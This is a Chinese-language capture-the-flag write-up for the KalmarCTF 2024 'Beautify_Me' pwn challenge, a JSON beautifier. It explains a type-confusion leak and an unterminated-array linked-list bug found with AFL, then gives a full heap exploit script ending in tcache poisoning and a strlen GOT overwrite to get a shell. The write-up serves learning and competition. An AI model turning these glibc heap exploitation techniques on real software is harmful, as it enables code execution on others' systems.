KalmarCTF2024 Beautify_Me

厌倦国内比赛一上来给一个裸的洞或者说一些极端情形的利用.
Pwn还是要建立在应用下才有意思啊.

漏洞分析

程序是一个json美化器.

程序流程主要分解析和输出两部分.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
int main () {
json_t *obj;
char buf[0x1000];

setvbuf(stdin, NULL, _IOLBF, 0);
setvbuf(stdout, NULL, _IOFBF, 0);

while (1) {
printf("> ");
fflush(stdout);
if (fgets(buf, sizeof(buf), stdin) == NULL) exit(-1);
if (parse_value(buf, &obj) == NULL) {
printf("Invalid JSON!\n");
continue;
}
print_value(obj, 0);
printf("\n");
free_value(obj);
}
}

解析过程主要是以递归+dispatch的形式进行(解析json的惯用方法).

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32

char *parse_value (char *s, json_t **out) {
s = skip_whitespace(s);

if (*s == '{') {
return parse_object(++s, out);
} else if (*s == '[') {
return parse_array(++s, out);
} else if (*s == '"') {
char *end = strchr(++s, '"');
if (end == NULL) return NULL;
json_t *data = malloc(sizeof(json_t));
data->type = T_STRING;
data->string = strndup(s, end-s);
*out = data;
return end+1;
} else if (*s == 't' || *s == 'f') {
return parse_bool(s, out);
} else if (*s == 'n') {
if (strncmp(s, "null", 4) == 0) {
json_t *data = malloc(sizeof(json_t));
if (data == NULL) return NULL;
data->type = T_NULL;
*out = data;
return s+4;
}
} else if (isdigit(*s) || *s == '-') {
return parse_number(s, out);
}

return NULL;
}

从头文件中可以看出数据结构的组织方式:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
typedef enum type_t {
T_NULL,
T_BOOL,
T_INT,
T_FLOAT,
T_STRING,
T_ARRAY,
T_OBJECT,
} type_t;

typedef struct Object object_t;
typedef struct Array array_t;
typedef struct Json json_t;

typedef struct Object {
object_t *next;
json_t *key, *value;
} object_t;

typedef struct Array {
array_t *next;
json_t *value;
} array_t;

typedef struct Json {
union {
object_t *object;
array_t *array;
char *string;
char boolean;
long nint;
double nfloat;
};
type_t type;
} json_t;

先看object的解析方式, 可以发现一个问题是解析key的过程是调用的parse_value, 这意味着key可以是任何类型.先记住这一点, 待审完大体逻辑再回头分析.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
char *parse_object (char *s, json_t **out) {
json_t *data = malloc(sizeof(json_t));
if (data == NULL) return NULL;
data->type = T_OBJECT;

s = skip_whitespace(s);

if (*s == '}') {
data->object = NULL;
*out = data;
return ++s;
}

s = parse_object_element(s, &data->object);
if (s == NULL) {
free(data);
return NULL;
}
*out = data;
return s;
}

char *parse_object_element (char *s, object_t **out) {
object_t *elem = malloc(sizeof(object_t));
if (elem == NULL) return NULL;

s = parse_value(s, &elem->key);
if (s == NULL) {
free(elem);
return NULL;
}

s = skip_whitespace(s);

if (*s != ':') {
free_value(elem->key);
free(elem);
return NULL;
}

s = skip_whitespace(++s);

s = parse_value(s, &elem->value);
if (s == NULL) {
free_value(elem->key);
free(elem);
return NULL;
}
s = skip_whitespace(s);

if (*s == '}') {
elem->next = NULL;
*out = elem;
return ++s;
}
if (*s == ',') {
s = skip_whitespace(++s);
s = parse_object_element(s, &elem->next);
if (s == NULL) {
free_value(elem->key);
free_value(elem->value);
free(elem);
return NULL;
}
*out = elem;
return s;
}
return NULL;
}

再看数组的解析方式, 并没有审出什么问题.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
char *parse_array (char *s, json_t **out) {
json_t *data = malloc(sizeof(json_t));
if (data == NULL) return NULL;
data->type = T_ARRAY;

s = skip_whitespace(s);

if (*s == ']') {
data->array = NULL;
*out = data;
return ++s;
}

s = parse_array_element(s, &data->array);
if (s == NULL) {
free(data);
return NULL;
}
*out = data;
return s;
}

char *parse_array_element (char *s, array_t **out) {
array_t *elem = malloc(sizeof(array_t));
if (elem == NULL) return NULL;
s = parse_value(s, &elem->value);
if (s == NULL) {
free(elem);
return NULL;
}

s = skip_whitespace(s);

if (*s == ']') {
elem->next = NULL;
*out = elem;
return ++s;
}
if (*s == ',') {
s = skip_whitespace(++s);
s = parse_array_element(s, &elem->next);
if (s == NULL) {
free_value(elem->value);
free(elem);
return NULL;
}
}
*out = elem;
return s;
}

其他类型的结构和解析方式比较简单, 也没有审出什么问题, 这里不展开了.

再看输出的过程, 发现输出object类型的key时是直接使用的printf(“"%s": “, curr->key->string);. 默认key为string对象.
这个类型混淆漏洞给了我们泄露+任意读的能力.

泄露: 将array混淆为string输出, 泄露出object->next.
任意读: 将INT混淆为string输出, 可以读出INT作为指针指向的数据.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
void print_value (json_t *data, int indent) {
switch (data->type) {
case T_NULL:
printf("null");
break;
case T_BOOL:
printf(data->boolean ? "true" : "false");
break;
case T_INT:
printf("%ld", data->nint);
break;
case T_FLOAT:
printf("%lf", data->nfloat);
break;
case T_STRING:
printf("\"%s\"", data->string);
break;
case T_ARRAY:
{
array_t *curr = data->array;
if (curr == NULL) {
printf("[]");
break;
}
printf("[\n");
while (curr) {
for (int i = 0; i < indent+4; i++) putchar(' ');
print_value(curr->value, indent+4);
curr = curr->next;
if (curr) {
printf(",\n");
}
}
putchar('\n');
for (int i = 0; i < indent; i++) putchar(' ');
printf("]");
}
break;
case T_OBJECT:
{
object_t *curr = data->object;
if (curr == NULL) {
printf("{}");
break;
}
printf("{\n");
while (curr) {
for (int i = 0; i < indent+4; i++) putchar(' ');
printf("\"%s\": ", curr->key->string);
print_value(curr->value, indent+4);
curr = curr->next;
if (curr) {
printf(",\n");
}
}
putchar('\n');
for (int i = 0; i < indent; i++) putchar(' ');
printf("}");
}
break;
default:
printf("Invalid type!");
exit(-1);
}
}

但目前我们还没找到能破坏内存的漏洞, 再次审计无果后转向Fuzz. 文件格式解析的程序交给AFL即可.
最终得到以下结果:

1
2
3
(178, ' AddressSanitizer: SEGV /home/znl/pwn/2024_ctf_all/Kalmar/beautify-me/main.c:237:39 in print_value', 'SESSION000:id:000000,sig:11,src:000001,time:54,execs:111,op:quick,pos:39')
(34, ' AddressSanitizer: SEGV /home/znl/pwn/2024_ctf_all/Kalmar/beautify-me/main.c:285:38 in free_value', 'SESSION000:id:000007,sig:11,src:000001,time:7660,execs:15827,op:havoc,rep:6')
(12, ' AddressSanitizer: SEGV ld-temp.o in __sanitizer::internal_strlen(char const*)', 'SESSION000:id:000030,sig:11,src:000190,time:68542,execs:140361,op:quick,pos:101')

来到崩溃点, 看到curr的值, 一眼看出这个奇怪的地址是Tcache Safe-Linking的产物, 初步判断是有一个UAF.

但查询bin发现并没有tcachebins, 再加上这是在遍历链表, 那么判断应该是有未初始化或者链表节点next域没置空的问题.

跟着Fuzz出的POC调一下, 找到漏洞点在 parse_array_element函数处理不完整数组的情况.
如果数组不以 ] 结尾, 则最后一个链表节点的next域不会被置空, 且返回了s而不是NULL, 意味着该错误不会被上层识别到.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
char *parse_array_element (char *s, array_t **out) {
array_t *elem = malloc(sizeof(array_t));
if (elem == NULL) return NULL;
s = parse_value(s, &elem->value);
if (s == NULL) {
free(elem);
return NULL;
}

s = skip_whitespace(s);

if (*s == ']') {
elem->next = NULL;
*out = elem;
return ++s;
}
if (*s == ',') {
s = skip_whitespace(++s);
s = parse_array_element(s, &elem->next);
if (s == NULL) {
free_value(elem->value);
free(elem);
return NULL;
}
}
*out = elem;
return s;
}

相近的函数parse_object_element的写法仍未清空next,但在对象不完整的情况下会返回NULL而被上层处理,不存在问题.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
char *parse_object_element (char *s, object_t **out) {
object_t *elem = malloc(sizeof(object_t));
if (elem == NULL) return NULL;

s = parse_value(s, &elem->key);
if (s == NULL) {
free(elem);
return NULL;
}

s = skip_whitespace(s);

if (*s != ':') {
free_value(elem->key);
free(elem);
return NULL;
}

s = skip_whitespace(++s);

s = parse_value(s, &elem->value);
if (s == NULL) {
free_value(elem->key);
free(elem);
return NULL;
}
s = skip_whitespace(s);

if (*s == '}') {
elem->next = NULL;
*out = elem;
return ++s;
}
if (*s == ',') {
s = skip_whitespace(++s);
s = parse_object_element(s, &elem->next);
if (s == NULL) {
free_value(elem->key);
free_value(elem->value);
free(elem);
return NULL;
}
*out = elem;
return s;
}
return NULL;
}

简化一下POC:
第一行污染next字段.
第二行构造不完整数组.

1
2
{
[ ""

利用分析

next指针未置空, 一般可以来构造任意写.
但分析一下会发现: elem来自malloc, 且array_t->next指针的位置与Tcache->next重合.
似乎意味着elem->next一定是一个Safe-Linking后的指针, 没办法直接使用也没办法像TSCTF2024-BuggyAllocator那样提前布置.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
char *parse_array_element (char *s, array_t **out) {
array_t *elem = malloc(sizeof(array_t));
if (elem == NULL) return NULL;
s = parse_value(s, &elem->value);
if (s == NULL) {
free(elem);
return NULL;
}

s = skip_whitespace(s);

if (*s == ']') {
elem->next = NULL;
*out = elem;
return ++s;
}
if (*s == ',') {
s = skip_whitespace(++s);
s = parse_array_element(s, &elem->next);
if (s == NULL) {
free_value(elem->value);
free(elem);
return NULL;
}
}
*out = elem;
return s;
}

但其实可以利用和topchunk合并的方式来避免布置的数据被next指针(或者说fd)覆盖.

1
2
3
payload = b''
payload += b'"%s"\n' % (b'A'*0x410)
payload += b'[ ""' + b'\n'

但查找对array->next的引用并加以分析, 发现我们唯一拥有的原语是每次解析输出后, 自顶而下释放资源时的任意地址释放.

至此完成泄露+任意读+任意地址释放原语的分析.

下面开始编写EXP.
先用array类型来混淆泄露出一个堆指针.
再用INT类型来混淆读出堆上残留的libc地址.
再次用INT类型来混淆读出libc中保存的栈地址.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
# leak heapbase
payload = b''
payload += b'[1,2]' + b'\n' # padding, 避免array->next低位为00而无法泄露
payload += b'["%s" , "padding"]\n' % (b'A'*0x420)
payload += b'{ [1,2] : 2} ' + b'\n'

sa('> ',payload)
ru('padding"\n')
r(11)
heap_base = uu64()-0x1740
lg("heap_base:",heap_base)


# leak libcbase
payload = b''
payload += b'{ %ld : 2} ' % (heap_base+0x17a0) + b'\n'
sa('> ',payload)
p.leak_libc('libc_base',l64()-0x21ace0)

# leak stackbuf
payload = b''
payload += b'{ %ld : 2} ' % (p.environ_addr) + b'\n'
sa('> ',payload)
stackbuf = l64()-0x1138
lg("stack:",stackbuf)

2.35下如何使用这个任意地址释放原语呢?
直观想法(其实是低版本用house of spirit打malloc_hook的经验)有两个: 一是有合法的size字段能使其正常释放, 二是对RCE有帮助.

2.35下的对齐检查使得难以通过字节错位来找到合适的size域, 而对RCE有帮助的一般是io_list_all, libc_got,和在堆上分配的File结构体.
本题中这些地方都找不到合适的size域.

于是还是回退到打堆管理器来转化成任意地址写: 伪造堆块放入tcache, 再更改next指针.
然而由于缺乏堆上的写原语(字符串向堆上拷贝时的00截断), 导致完成这一操作非常困难.

好在主循环中可以往栈上写入任意数据.

1
2
3
4
5
char buf[0x1000];
while (1) {
printf("> ");
fflush(stdout);
if (fgets(buf, sizeof(buf), stdin) == NULL) exit(-1);

于是伪造相关数据结构使得print_value和free_value时不会崩溃, 并最终使得两个栈上的伪堆块进入fastbin中.

至此基本利用分析完毕, 后面都是一些繁琐的调堆过程, 最终打libc中strlen的got表来getshell.

EXP

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
# leak heapbase
payload = b''
payload += b'[1,2]' + b'\n' # padding, 避免array->next低位为00而无法泄露
payload += b'["%s" , "padding"]\n' % (b'A'*0x420)
payload += b'{ [1,2] : 2} ' + b'\n'



sa('> ',payload)
ru('padding"\n')
r(11)

heap_base = uu64()-0x1740
lg("heap_base:",heap_base)

# leak libcbase
payload = b''
payload += b'{ %ld : 2} ' % (heap_base+0x17a0) + b'\n'
sa('> ',payload)
p.leak_libc('libc_base',l64()-0x21ace0)

# leak stackbuf
payload = b''
payload += b'{ %ld : 2} ' % (p.environ_addr) + b'\n'
sa('> ',payload)
stackbuf = l64()-0x1138
lg("stack:",stackbuf)


# prepare array_t->next ptr
fake_chunk_addr = stackbuf+0xa10
pay2 = b'A'*0x410+p64(fake_chunk_addr)[:6]
payload = b''
payload += b'[1,2,3,"%s","%s"]' % (b'A'*0x3C0,pay2) + b'\n'
# payload += b'"%s"\n' % (b'A'*0x410)
# payload += b'[ ""' + b'\n'
sa('> ',payload)



# fake something need and trigger the release
payload = b''
payload += b'[1,2,3,"%s","%s",4,"" ' % (b'A'*0x3c0,b'A'*0x3C0)
payload = payload.ljust(0x9f8,b'\x00')

payload += b'snowfall'
fake_chunk = p64(0)
fake_chunk += p64(0x21) #fake_size

fake_chunk += p64(0) #array_t->next
fake_chunk += p64(stackbuf+0xa30) #array_t->value

fake_chunk += p64(0)
fake_chunk += p64(0x21) #fake_size

fake_chunk += p64(0)
fake_chunk += p64(0) #json_t->type

fake_chunk += p64(0)
fake_chunk += p64(0x21) #fake_size
fake_chunk = fake_chunk.ljust(0x68,b'\x00')


payload += fake_chunk
payload += b'\n'



sa('> ',payload)



# transform fake_chunk from fastbin to tcache
payload = b''
payload += b'[1,2,3,4,5,6]'
payload += b'\n'
sa('> ',payload)

# Tcache poisoning to hijack strlen_got to system
streln_got = p.libc_base+0x21a090 #21a098
payload = b''
payload += b'["%s","%s"]' % (b'/bin/sh',b'a'*8+p64(p.system_addr)[:6])
payload = payload.ljust(0xa30,b'\x00')
payload += p64(p.mangle(stackbuf+0xa20,streln_got))
payload += b'\n'
sa('> ',payload)


io.interactive()

  • 版权声明: 本博客所有文章除特别声明外,著作权归作者所有。转载请注明出处!
  • Copyrights © 2022-2024 翰青HanQi

请我喝杯咖啡吧~

支付宝
微信